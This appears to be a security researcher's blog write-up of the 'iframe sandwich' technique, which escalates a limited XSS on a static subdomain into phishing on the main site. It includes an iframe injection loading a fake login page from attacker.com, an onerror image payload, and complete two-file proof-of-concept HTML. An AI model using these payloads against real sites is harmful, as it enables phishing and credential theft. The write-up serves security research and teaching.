It took me a while to understand the few information available for this attack, there are two main research/writeups:
→ Cooper Young – Exacerbating Cross-Site Scripting: The iframe Sandwich
→ Critical Thinking Podcast – Abusing iframes from a Client-Side Hacker
But both seem to talk about slightly different techniques, so I'm here to try to clarify things.
The Basic Scenario
We'll start with the most basic scenario, where we have an XSS in
example.com but it's heavily restricted, maybe we can
only trigger an alert, inject some HTML and that's it. In this
case, if you report this vuln you are going to hit low severity.
Maybe you can't inject a proper fake login page due to CSP or
character restrictions.
In this scenario, instead of trying to fully build the phishing page inside the XSS context, we can simply inject an iframe pointing to our own domain, attacker.com, which hosts the fake login page:
document.body.innerHTML ='<iframe src="https://attacker.com/fake-login.html">'
For now the structure of the attack looks like this:
└── iframe → attacker.com/fake-login
The research from Critical Thinking uses a slightly different structure:
└── iframe → example.com └── iframe → attacker.com
This first attacker.com layer does not magically
bypass SOP, but in some scenarios it allows a bit more control and
coordination between contexts, especially when dealing with
multiple frames. You can use it to coordinate messaging between
frames via postMessage, and in some cases also play
with window.opener / navigation chains.
Moving to the next writeup from Cooper Young, this one is the most
interesting in my opinion. In this attack we have an XSS on a
static subdomain like static.example.com, which alone
would often be low severity or even out of scope.
BUT there's another subdomain, www.example.com, that
has an iframe pointing towards static.example.com.
The key idea of this attack is that we are
NOT escaping SOP (same-origin policy). Instead,
we are abusing the fact that the same origin
(static.example.com) exists in two different browsing
contexts at the same time, with this, we can target and modify the
DOM of the iframe inside www.example.com even though
our XSS is technically not running there, let me explain it.
The Exploit Chain
From attacker.com, we have a
/step1.html file with this script:
window.open('step2.html', '_blank'); window.location.href = 'https://www.example.com/';
This will open a new tab (TAB2) with
step2.html and redirect the current tab
(TAB1) to www.example.com.
Then inside TAB2 we load an iframe pointing to the XSS in
static.example.com:
<iframe style="display:none;"src="https://static.example.com/?url=XSS_PAYLOAD"></iframe>
At this point the structure of the exploit looks like this:
www.example.com
└── iframe: static.example.com TAB 2
attacker.com/step2.html
└── iframe: static.example.com <-- XSS running here
Now the question is: how could we access the iframe inside
www.example.com?
Because we opened TAB2 from TAB1 using window.open,
we get a valid window.opener reference chain. Even
though TAB1 was redirected to www.example.com, the
opener reference still points to that same tab.
So from TAB2, window.opener refers to TAB1 (now
www.example.com), where the target iframe lives.
With this information, from the XSS in TAB2 we can execute this payload:
<img src=xonerror="parent.opener.frames[0].document.body.innerHTML='<h1>Hacked by k1di3</h1>'">
Breaking down the payload:
-
parent— refers to the iframe context where the XSS is running -
parent.opener— refers to TAB1 (www.example.com) -
frames[0]— selects the iframe inside TAB1 (the embeddedstatic.example.com) -
document.body.innerHTML— modifies the DOM of that iframe
With this, we are able to modify the iframe inside
www.example.com. This turns a seemingly low-impact
XSS in a static subdomain into something that can affect the main
application context.
One final note: to improve the phishing attack, I used a
window.close() call with a setTimeout in
/step2.html. This way, once the iframe is loaded and the XSS
payload is injected into www.example.com, the exploit
tab closes automatically,leaving the victim seeing only
www.example.com.
<script>
setTimeout(() => {
window.close();
}, 700);
</script>
From here, if the XSS is very restricted, we can even use it as a staging point to load another iframe pointing to our attacker-controlled page where a fake login is hosted, as discussed in the basic scenario above.
Demo
Full PoC Code
/step1.html
<h1>Exploit Step 1</h1>
<button id="exploitButton" onclick="exploit()">Click me to exploit!</button>
<script>
function exploit() {
window.open('step2.html', '_blank');
window.location.href = 'http://www.example.com:5000/';
}
</script>
/step2.html
<h1>Exploit Step 2</h1>
<iframe
src="http://static.example.com:5000/?xss=%3Cimg%20src%3Dx%20onerror%3D%22parent.opener.frames%5B0%5D.document.body.innerHTML%3D%27%3Ch1%3EHacked%20by%20k1di3%3C%2Fh1%3E%27%22%3E"
width="600" height="400"></iframe>
<script>
setTimeout(() => {
window.close();
}, 700);
</script>
I hope you understood it, if not feel free to contact me through linkedin.